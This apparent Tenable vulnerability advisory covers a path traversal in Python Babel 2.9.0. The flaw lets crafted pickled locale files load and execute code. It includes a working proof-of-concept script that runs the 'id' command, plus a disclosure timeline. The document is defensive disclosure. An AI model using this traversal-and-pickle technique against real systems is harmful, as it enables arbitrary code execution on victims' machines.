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Python-Babel/Babel Locale Directory Traversal / Arbitrary Code Execution



Babel 2.9.0 contains a directory traversal flaw that can be exploited to load arbitrary locale .dat files, which contain serialized Python objects. If an attacker can cause Babel.Locale() to load a crafted .dat file on disk, arbitrary code execution can be achieved via deserialization within the context of the running process.

The path to a locale file can be specified such that a locale file is loaded from outside the locale-data directory (e.g. ../../). Essentially this would allow for unapproved locale files to be loaded.

When the Locale() constructor is called, it will populate the language, territory, script, variant as specified.

It then checks to see if the locale's identifier exists:

 166         identifier = str(self)
 167         if not localedata.exists(identifier):
 168             raise UnknownLocaleError(identifier)

identifier is ultimately populated via the return value of get_locale_identifer():

 357     def __str__(self):
 358         return get_locale_identifier((self.language, self.territory,
 359                                       self.script, self.variant))

So if we pass 'en' as the language, the identifier ends up being 'en' as well, as can be demonstrated by calling __str__():

>>> locale = babel.Locale('en')
>>> str(locale)

As shown above, the localedata.exists() method is called to ensure that the locale exists:

 167         if not localedata.exists(identifier):

If the name is not in the cache, it'll check to see if "{name}.dat" exists in _dirname, where _dirname equals:

24 _dirname = os.path.join(os.path.dirname(__file__), 'locale-data')

This ends up being in the site-packages directory:

>>> print(babel.localedata._dirname)

Now we get to issue. A file system path containing leading '../../' can be used to load .dat files outside the intended locale-data directory.

>>> locale = babel.Locale("../../../../../../../../no_exist")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/core.py", line 168, in __init__
    raise UnknownLocaleError(identifier)
babel.core.UnknownLocaleError: unknown locale '../../../../../../../../no_exist'

In the above case, there is no .dat file at the root of the file system. However, if we copy the es.dat file to /tmp/en.dat...

$ cp ~/.local/lib/python3.8/site-packages/babel/locale-data/es.dat /tmp/en.dat
>>> locale = babel.Locale("../../../../../../../../../../tmp/en")
>>> locale.territories['US']
'Estados Unidos'

You can see that the /tmp/en.dat file was indeed loaded, with a Spanish translation for United States.

As we've seen above, arbitrary Locale files can be loaded from the file system. Let's go a bit deeper.

When a property of a Locale object is accessed, the Locale .dat file is ultimately deserialized using the pickle.load() method. If an attacker were to craft a malicious .dat file using the Python pickle module and cause it to be loaded, arbitrary code execution can be achieved.

To elaborate, when a property of a Locale object is accessed... For example:

>>> locale.territories['US']

The localedata.load() method is called with the locale identifier as an argument.

 361     @property
 362     def _data(self):
 363         if self.__data is None:
 364             self.__data = localedata.LocaleDataDict(localedata.load(str(self)))
 365         return self.__data

Ultimately, this leads to the deserialization of the specified locale in the localedata.load() method. localedata.py:

122             filename = os.path.join(_dirname, '%s.dat' % name)
123             with open(filename, 'rb') as fileobj:
124                 if name != 'root' and merge_inherited:
125                     merge(data, pickle.load(fileobj))
126                 else:
127                     data = pickle.load(fileobj)

Proof of Concept

To demonstrate an arbitrary code execution scenario, run the following Python code. The code will first create a malicious .dat file by pickling a class object. When the object is deserialized by Babel, it will run the UNIX 'id' shell command. Notice in the output that the result of the id command is displayed.

import pickle
import subprocess
import babel

class RunCommand(object):
    def __reduce__(self):
        return (subprocess.call, (('id',),))

# write .dat extension for babel
with open("/tmp/evil.dat", "wb") as output_file:
    pickle.dump(RunCommand(), output_file)

print("Created /tmp/evil.dat")

# similar usage of Locale constructor as seen at http://babel.pocoo.org/en/latest/locale.html#the-locale-class
language = '../../../../../../../../../../tmp/evil'
locale = babel.Locale(language)

print ("Loaded Locale with language '" + language + "'")


print ("Accessed territories")
$ python3 babel_id_exploit.py 
Created /tmp/evil.dat
Loaded Locale with language '../../../../../../../../../../tmp/evil'
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)
Traceback (most recent call last):
  File "babel_id_exploit.py", line 22, in <module>
  File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/core.py", line 506, in territories
    return self._data['territories']
  File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/core.py", line 364, in _data
    self.__data = localedata.LocaleDataDict(localedata.load(str(self)))
  File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/localedata.py", line 125, in load
    merge(data, pickle.load(fileobj))
  File "/home/ubuntu/.local/lib/python3.8/site-packages/babel/localedata.py", line 146, in merge
    for key, val2 in dict2.items():
AttributeError: 'int' object has no attribute 'items'


Update to 2.9.1.

Disclosure Timeline

03/03/2021 - Tenable reaches out to the author for a security contact.
03/03/2021 - Babel contact says we can send the report to them unencrypted.
03/03/2021 - Tenable sends the vulnerability report. 90-day date is June 01, 2021.
03/04/2021 - Babel thanks us for the report. Says the locale path is a concern. Raises a point about the other.
03/04/2021 - Tenable responds. Acknowledges points made. Makes a reduction to CVSS scoring.
03/17/2021 - Tenable follows up. Asks if developer has taken a look yet.
04/05/2021 - Tenable asks for an update.
04/05/2021 - Babel will reach out to the code maintainers.
04/05/2021 - Tenable thanks Babel contact.
04/28/2021 - Babel active maintainer reaches out. Thanks us. Says code is fixed in master. Asks if we would like acknowledgement.
04/28/2021 - Tenable advises Babel that we will publish an advisory and assign a CVE. Asks for acknowledgement and thanks Babel.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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